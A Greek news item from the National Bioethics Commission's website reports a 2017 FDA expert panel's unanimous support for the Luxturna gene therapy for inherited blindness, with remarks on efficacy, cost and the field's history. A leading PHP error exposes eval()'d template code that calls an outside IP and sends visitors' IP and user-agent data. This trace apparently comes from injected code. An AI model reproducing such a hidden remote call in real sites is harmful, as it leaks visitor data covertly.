Warning: file_get_contents(http://83.166.240.235/get.php?ip=54.80.227.189&d=bioethics.gr%2Findex.php%2Fel%2Fanakoinosis%2F1783-31-10-2017-fda&u=CCBot%2F2.0+%28http%3A%2F%2Fcommoncrawl.org%2Ffaq%2F%29&i=1&h=b6a86d0f3d0544899b8f3bb695a9f4a8): failed to open stream: HTTP request failed! HTTP/1.0 504 Gateway Time-out in /var/www/bioethics.gr/public_html/templates/jsn_dome_free/index.php(25) : eval()'d code on line 14

[31-10-2017] ΗΠΑ: Ομόφωνη έγκριση της πρωτοποριακής γονιδιακής θεραπείας για την τύφλωση από τον FDA

Ο Αμερικανικός Οργανισμός Τροφίμων και Φαρμάκων (FDA). ενέκρινε μια πρωτοποριακή γονιδιακή θεραπεία με αδενο-σχετιζόμενο ιό (Αdeno-Αssociated Viral - AAV) της εταιρείας Spark Therapeutics.

Αρχικά, μια ομάδα εξωτερικών εμπειρογνωμόνων εξέτασε το όφελος συγκριτικά με τον κίνδυνο της θεραπείας. Στη συνέχεια η Συμβουλευτική Επιτροπή Κυτταρικής, Ιστολογικής και Γονιδιακής Θεραπείας του Οργανισμού ενέκρινε αυτή τη γονιδιακή θεραπεία με όνομα «Voretigene Neparvovec ή Luxturna». Όπως έδειξε η εσωτερική ανασκόπηση του FDA, η συγκεκριμένη γονιδιακή θεραπεία βελτίωσε την όραση με επίπεδα φωτός, ενώ απέτυχε να θεραπεύσει την αμφιβληστροειδική αμφιβληστροειδοπάθεια, η οποία ενεργοποιείται από γενετικές μεταλλάξεις.

Οι ειδικοί φάνηκαν γενικά ενθουσιασμένοι από τα αποτελέσματα και θετικοί στη θεραπεία πολύ νεαρών ασθενών. Η Katherine High, πρόεδρος της εταιρείας Spark Therapeutics δήλωσε ότι: «Το κλινικό πρόγραμμα περιλαμβάνει δεδομένα ασθενών που δείχνουν την αποτελεσματικότητα με συνεχή παρακολούθηση έως και τεσσάρων ετών». Ταυτόχρονα, οι εμπειρογνώμονες καλέστηκαν να αντιμετωπίσουν δύσκολα ερωτήματα όπως την αντοχή αυτής της οφθαλμοθεραπείας, την πιθανότητα να χρειαστούν οι ασθενείς πολλαπλές θεραπείες για να διατηρήσουν τα οφέλη της όρασης και τη σωστή ηλικία για τη χρήση τους.

Πριν από δεκαοκτώ χρόνια, ο τομέας γονιδιακής θεραπείας είχε τεθεί στο περιθώριο μετά το θάνατο ενός ασθενούς σε μια δοκιμή που διεξήχθη από τον James Wilson Όμως, τα τελευταία δέκα χρόνια οι ερευνητές, χρησιμοποιώντας όμοια τεχνολογία επανεξέτασαν αυτή τη μέθοδο θεραπείας. Επιπλέον, υπήρξαν άλλες δύο γονιδιακές θεραπείες στην Ευρώπη, οι οποίες έχουν χρησιμοποιηθεί σπάνια. Το ερώτημα που τίθεται είναι ο τρόπος κατοχύρωσης της ασφαλούς κυκλοφορίας αυτών των δύο θεραπειών στις ΗΠΑ και στη συνέχεια σε όλο τον κόσμο.

Οι εκτιμήσεις για τις δαπάνες ενός χρόνου κυμαίνονται γύρω στο ένα εκατομμύριο δολάρια για τη γονιδιακή θεραπεία. Ο Διευθύνων Σύμβουλος του Οργανισμού Jeff Marrazzo αναφέρει ότι: «Για την εξασφάλιση της πρόσβασης σύμφωνα με τους ισχύοντες κανόνες, απαιτείται μια εφάπαξ χρέωση ανά μάτι. Είναι δύσκολο να προσφέρουμε ένα εναλλακτικό μοντέλο». Τέλος, ένας νεαρός ασθενής είπε πως: «Η γονιδιακή θεραπεία έχει κάνει τον κόσμο μου πολύ πιο φωτεινό». Επιπλέον, ένας άλλος ασθενής μίλησε για το πώς η θεραπεία του, πριν από τέσσερα χρόνια έσωσε την όρασή του.

 

Πηγή: Science

Aλεξάνδρα Ι. Κοζαμάνη – Stagiaire ΕEΒ

ΒΙΟΗΘΙΚΑ

Ηλεκτρονικό Περιοδικό της Εθνικής Επιτροπής Βιοηθικής

Το πέμπτο τεύχος του Περιοδικού

ΒΙΟΗΘΙΚΑ 2017 • Τόμος 3 • Τεύχος 1

ΝΕΑ ΕΚΔΟΣΗ ΓΙΑ ΜΑΘΗΤΕΣ



Τι ξέρω για τη Bιοηθική
...για να ενημερωθείς, να προβληματιστείς και να αποφασίσεις...


 Έκδοση



ΤΡΕΧΟΝΤΑ ΘΕΜΑΤΑ ΤΗΣ ΕΠΙΤΡΟΠΗΣ

Μεγάλα δεδομένα
(Big Data)

Ιατρικός τουρισμός



ΝΕΑ ΣΥΣΤΑΣΗ

Τράπεζες Ομφαλοπλακουντιακού Αίματος

Σύσταση

ΒΙΟΗΘΙΚΗ ΠΑΕΙ ΣΧΟΛΕΙΟ"



H Επιτροπή πραγματοποιεί ενημερώσεις για θέματα βιοηθικής σε μαθητές Γυμνασίων και Λυκείων. Θα ανταποκριθούμε με  χαρά σε κάθε εκδήλωση ενδιαφέροντος

Πληροφορίες

ΕΚΠΑΙΔΕΥΤΙΚΑ ΣΕΜΙΝΑΡΙΑ



H Επιτροπή οργανώνει εκπαιδευτικό πρόγραμμα σεμιναρίων, που καλύπτει ένα μεγάλο εύρος κρίσιμων θεμάτων βιοηθικής

Πληροφορίες

ΠΡΑΚΤΙΚΗ ΑΣΚΗΣΗ



Η Επιτροπή δίνει τη δυνατότητα πρακτικής άσκησης για θέματα του αντικειμένου της σε φοιτητές με ειδικό ενδιαφέρον για τη βιοηθική

Πληροφορίες

Free business joomla templates